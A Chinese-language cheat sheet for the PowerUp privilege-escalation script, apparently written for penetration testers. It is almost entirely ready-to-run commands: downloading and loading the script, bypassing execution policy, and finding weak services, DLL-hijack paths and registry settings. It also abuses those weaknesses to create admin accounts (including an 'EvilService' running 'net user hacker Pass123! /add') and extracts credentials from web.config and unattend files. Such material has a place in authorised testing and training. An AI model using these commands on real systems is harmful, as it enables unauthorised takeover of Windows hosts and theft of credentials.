提权脚本Powerup命令备忘单
1. 获取与加载
- 从 GitHub 下载:
(New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
- 本地加载:
Import-Module .\PowerUp.ps1
- 绕过执行策略:
powershell.exe -ep Bypass -File PowerUp.ps1
2. 场景化使用
场景 1:快速全面扫描提权机会
- 需求:快速了解目标系统所有潜在提权路径。
- 命令:
Invoke-AllChecks
- 用途:扫描所有漏洞向量(如服务、注册表、DLL 劫持等),输出详细结果及建议的滥用函数。
- 扩展:生成 HTML 报告,便于分析:
Invoke-AllChecks -HTMLReport
- 适用场景:渗透测试初期,需全面摸底系统配置。
场景 2:检查服务相关提权
- 需求:发现可利用的服务配置错误(如未加引号路径或可修改服务)。
- 命令:
- 未加引号服务路径:
Get-ServiceUnquoted
- 可修改服务:
Get-ModifiableService
- 可写服务二进制路径:
Get-ModifiableServiceFile
- 未加引号服务路径:
- 用途:识别服务配置漏洞,常用于服务路径劫持或替换服务二进制。
- 利用示例:
- 发现可修改服务后,添加管理员用户:
Invoke-ServiceAbuse -Name "Vuln-Service" -Username "john" -Password "Password123!"
- 利用未加引号路径:
Write-ServiceBinary -Name "unquotedsvc" -Path "C:\Program Files\Unquoted Path Service\Common.exe" -Username "badmin" -Password "p4ssw0rd"
- 发现可修改服务后,添加管理员用户:
- 适用场景:目标系统运行大量服务,需针对服务提权。
场景 3:查找 DLL 劫持机会
- 需求:检查是否存在 DLL 劫持漏洞以提升权限。
- 命令:
- 查找 DLL 劫持:
Invoke-FindDLLHijack
- PATH 环境变量劫持:
Invoke-FindPathDLLHijack
- 查找 DLL 劫持:
- 用途:识别缺失或可写 DLL 的加载路径,适合植入恶意 DLL。
- 适用场景:目标系统运行自定义应用程序,可能存在 DLL 加载问题。
场景 4:检查注册表提权路径
- 需求:发现注册表配置错误(如自动运行程序或 UAC 绕过)。
- 命令:
- 自动运行程序:
Get-RegistryAutoRun
- AlwaysInstallElevated(UAC 绕过):
Get-RegistryAlwaysInstallElevated
- 自动运行程序:
- 利用示例:
- 利用 AlwaysInstallElevated:
Write-UserAddMSI
- 利用 AlwaysInstallElevated:
- 适用场景:目标系统配置了自动运行程序或启用了高权限安装策略。
场景 5:提取凭据与配置文件
- 需求:从系统配置文件中获取敏感凭据。
- 命令:
- Web 配置文件凭据:
Get-Webconfig
- Unattended.xml 凭据:
Get-UnattendedInstallFile
- Web 配置文件凭据:
- 用途:提取未加密的凭据,获取管理员账户或服务账户信息。
- 适用场景:目标系统为 Web 服务器或存在自动安装配置文件。
场景 6:检查令牌与权限
- 需求:了解当前用户的权限或令牌状态,寻找特权提升机会。
- 命令:
- 进程令牌权限:
Get-ProcessTokenPrivilege
- 用户 SID 组:
Get-ProcessTokenGroup
- 进程令牌权限:
- 利用示例:
- 启用特权(如 SeDebugPrivilege):
Enable-Privilege -Privilege "SeDebugPrivilege"
- 启用特权(如 SeDebugPrivilege):
- 适用场景:当前用户拥有潜在高权限令牌,需进一步利用。
场景 7:创建恶意服务提权
- 需求:通过安装自定义服务执行高权限命令。
- 命令:
Install-ServiceBinary -Name "EvilService" -Command "net user hacker Pass123! /add"
- 用途:创建新服务以运行提权命令,适合无现成漏洞但有服务创建权限的场景。
- 适用场景:目标系统允许低权限用户创建服务。
3. 输出与记录
- 保存结果:
Invoke-AllChecks | Tee-Object -FilePath C:\Users\Public\report.txt
- 生成 HTML 报告:
Invoke-AllChecks -HTMLReport
- 用途:便于整理分析或提交测试报告。
4. 实用提示
- 运行环境:Windows 系统,PowerShell 2.0+,低权限用户运行以发现提权路径。
- 注意事项:
- 确认服务可重启(
CanRestart: True
)再利用。 - 测试前评估命令影响,避免破坏系统。
- 优先手动验证
Invoke-AllChecks
结果,避免直接运行自动提权。
- 确认服务可重启(
- 获取帮助:
示例:Get-Help <Cmdlet-Name> -Full
Get-Help Get-ModifiableService -Full